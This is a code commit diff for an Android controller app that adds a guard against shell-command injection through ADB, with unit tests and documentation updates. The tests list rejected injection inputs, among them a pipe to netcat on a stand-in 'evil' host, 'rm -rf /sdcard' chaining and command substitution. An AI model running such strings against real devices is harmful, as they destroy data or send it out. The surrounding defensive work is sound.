fix(controller): validate ADB shell commands to close arbitrary-shell (S4)

CLAUDE.md

@@ -184,6 +184,15 @@ backup is untrusted; `TarExtractor` extracted without validating member names.
   before extracting if any member escapes; the backup-creation `sh -c` pipe was
   single-quoted. Applies to all extractions.
 
+**Slice (DONE) — ADB command guard (`org.iiab.controller.adb.domain`)**
+Phase-1 security slice closing tech-debt **S4** (arbitrary on-device shell via ADB).
+
+- `domain/` — `AdbShellCommand.isSafe(command)` (pure JVM): rejects shell
+  metacharacters / control chars so only a single self-contained command runs.
+  Unit-tested (`AdbShellCommandTest`).
+- **Legacy seam:** `IIABAdbManager.executeCommand` validates and fails closed
+  before opening the `shell:` stream.
+
 **Legacy (NOT yet layered)** — most of `org.iiab.controller` is still flat:
 god classes `MainActivity` and `DeployFragment` (~2.7k LOC), shared mutable
 state on public/static fields, hand-rolled `HttpURLConnection` calls duplicated

controller/app/src/main/java/org/iiab/controller/IIABAdbManager.java

@@ -9,6 +9,8 @@
 
 package org.iiab.controller;
 
+import org.iiab.controller.adb.domain.AdbShellCommand;
+
 import android.content.Context;
 import android.os.Build;
 import android.security.keystore.KeyGenParameterSpec;
@@ -199,6 +201,12 @@ public void checkSystemRestrictions(Context context) {
 
     // Execute shell commands seamlessly
     public void executeCommand(String command) {
+        // S4: this runs as an on-device shell over ADB. Reject anything that
+        // could chain/substitute extra commands; fail closed without executing.
+        if (!AdbShellCommand.isSafe(command)) {
+            Log.e(TAG, "Refusing to run unsafe ADB shell command: " + command);
+            return;
+        }
         new Thread(() -> {
             try (io.github.muntashirakon.adb.AdbStream stream = this.openStream("shell:" + command)) {
                 java.io.InputStream is = stream.openInputStream();

controller/app/src/main/java/org/iiab/controller/adb/domain/AdbShellCommand.java

@@ -0,0 +1,71 @@
+/*
+ * ============================================================================
+ * Name        : AdbShellCommand.java
+ * Author      : IIAB Project
+ * Copyright   : Copyright (c) 2026 IIAB Project
+ * Description : Domain rule: is a string safe to run as a single ADB "shell:"
+ *               command, i.e. it cannot chain/substitute extra commands.
+ *               Closes tech-debt item S4 (arbitrary on-device shell).
+ * ============================================================================
+ */
+package org.iiab.controller.adb.domain;
+
+/**
+ * Pure (framework-free) guard for strings passed to
+ * {@code IIABAdbManager.executeCommand}, which runs them as
+ * {@code openStream("shell:" + command)} — an on-device shell over ADB.
+ *
+ * <p>Today the callers pass fixed, app-controlled commands, but the method
+ * accepts any string; a value containing shell metacharacters ({@code ; | & $}
+ * {@code ( ) < >}, backticks, quotes, newlines) could chain or substitute extra
+ * commands run with ADB privileges — tech-debt item <b>S4</b>.
+ *
+ * <p>This rejects those metacharacters so only a single, self-contained command
+ * (e.g. {@code settings put global <key> <value>}) can run. It does not try to
+ * be a full shell parser; it fails closed on anything that could break out.
+ * No {@code android.*}, so it is unit-testable on a plain JVM.
+ */
+public final class AdbShellCommand {
+
+    private AdbShellCommand() {
+        // Static utility; not instantiable.
+    }
+
+    /**
+     * True if {@code command} is safe to run as a single ADB shell command:
+     * non-empty and free of shell control/substitution/redirection/quote
+     * characters and control characters. Normal tokens (letters, digits, spaces,
+     * and {@code / . - _ = : ,}) are allowed.
+     */
+    public static boolean isSafe(String command) {
+        if (command == null || command.trim().isEmpty()) {
+            return false;
+        }
+        for (int i = 0; i < command.length(); i++) {
+            char c = command.charAt(i);
+            switch (c) {
+                case ';':   // command separator
+                case '&':   // background / &&
+                case '|':   // pipe / ||
+                case '$':   // variable / $( ) substitution
+                case '`':   // backtick substitution
+                case '(':
+                case ')':
+                case '<':   // redirection
+                case '>':
+                case '\'':  // quoting
+                case '"':
+                case '\\':  // escaping
+                case '\n':
+                case '\r':
+                case '\0':
+                    return false;
+                default:
+                    if (c < 0x20) { // other control characters
+                        return false;
+                    }
+            }
+        }
+        return true;
+    }
+}

controller/app/src/test/java/org/iiab/controller/adb/domain/AdbShellCommandTest.java

@@ -0,0 +1,51 @@
+package org.iiab.controller.adb.domain;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Test;
+
+/**
+ * Unit tests for {@link AdbShellCommand} — the S4 guard against shell-command
+ * injection through {@code IIABAdbManager.executeCommand}.
+ */
+public class AdbShellCommandTest {
+
+    @Test
+    public void acceptsTheLegitimateAppCommands() {
+        assertTrue(AdbShellCommand.isSafe(
+                "settings put global settings_enable_monitor_phantom_procs 0"));
+        assertTrue(AdbShellCommand.isSafe(
+                "device_config put activity_manager max_phantom_processes 256"));
+    }
+
+    @Test
+    public void rejectsCommandChaining() {
+        assertFalse(AdbShellCommand.isSafe("settings put global x 0; rm -rf /sdcard"));
+        assertFalse(AdbShellCommand.isSafe("settings put global x 0 && reboot"));
+        assertFalse(AdbShellCommand.isSafe("settings get global x | nc evil 1234"));
+    }
+
+    @Test
+    public void rejectsSubstitutionAndRedirection() {
+        assertFalse(AdbShellCommand.isSafe("echo $(reboot)"));
+        assertFalse(AdbShellCommand.isSafe("echo `id`"));
+        assertFalse(AdbShellCommand.isSafe("cat /x > /sdcard/out"));
+        assertFalse(AdbShellCommand.isSafe("cmd < /etc/hosts"));
+    }
+
+    @Test
+    public void rejectsQuotesEscapesAndControlChars() {
+        assertFalse(AdbShellCommand.isSafe("settings put global x '0'"));
+        assertFalse(AdbShellCommand.isSafe("settings put global x \"0\""));
+        assertFalse(AdbShellCommand.isSafe("settings put global x 0\\"));
+        assertFalse(AdbShellCommand.isSafe("settings put global x 0\nreboot"));
+    }
+
+    @Test
+    public void rejectsEmptyOrNull() {
+        assertFalse(AdbShellCommand.isSafe(null));
+        assertFalse(AdbShellCommand.isSafe(""));
+        assertFalse(AdbShellCommand.isSafe("   "));
+    }
+}

controller/docs/TECH_DEBT_PLAN.md

@@ -71,7 +71,12 @@ _Last updated: 2026-06-17. Tracks remediation work against the findings below. I
 - `TarExtractor` now **pre-lists** entries (`tar -t`, gzip decompressed in Java) and **fails closed** if any member escapes — for *every* extraction (the verified rootfs install included, defense in depth). Also single-quoted the paths in the backup-creation `sh -c` pipe (the "unquoted backup pipe" half of D11).
 - Verify on a real install/restore that legitimate rootfs/backup members are relative (they are by convention) so the guard does not false-positive.
 
-**Phase 1 — Security hardening: IN PROGRESS.** Done so far: **S1** (PR #9), **M4** (PR #10), **D6** (PR #12), **D2** (PR #13), **D12** (PR #16), **D11** (PR #15). **S3 reverted** (see above). Remaining: **S4**, **F15**.
+**S4 — Arbitrary ADB shell command (Phase 1 security): DONE** (PR `fix/phase1-security-s4-adb-command`)
+- Closes **S4**: `IIABAdbManager.executeCommand` ran `openStream("shell:" + command)` — an on-device shell over ADB — with no validation. Callers pass fixed commands today, but a value with shell metacharacters could chain/substitute extra commands run with ADB privileges.
+- New pure domain rule `org.iiab.controller.adb.domain.AdbShellCommand.isSafe(command)` (rejects `; | & $ \` ( ) < > ' " \\`, CR/LF and control chars). Unit-tested (`AdbShellCommandTest`).
+- `executeCommand` now fails closed (logs + does not open the stream) on an unsafe command; the two legitimate `settings put` / `device_config put` calls are unaffected.
+
+**Phase 1 — Security hardening: IN PROGRESS.** Done so far: **S1** (PR #9), **M4** (PR #10), **D6** (PR #12), **D2** (PR #13), **D12** (PR #16), **D11** (PR #15). **S3 reverted** (see above), **S4**. Remaining: **F15**.
 
 ## 1. Executive summary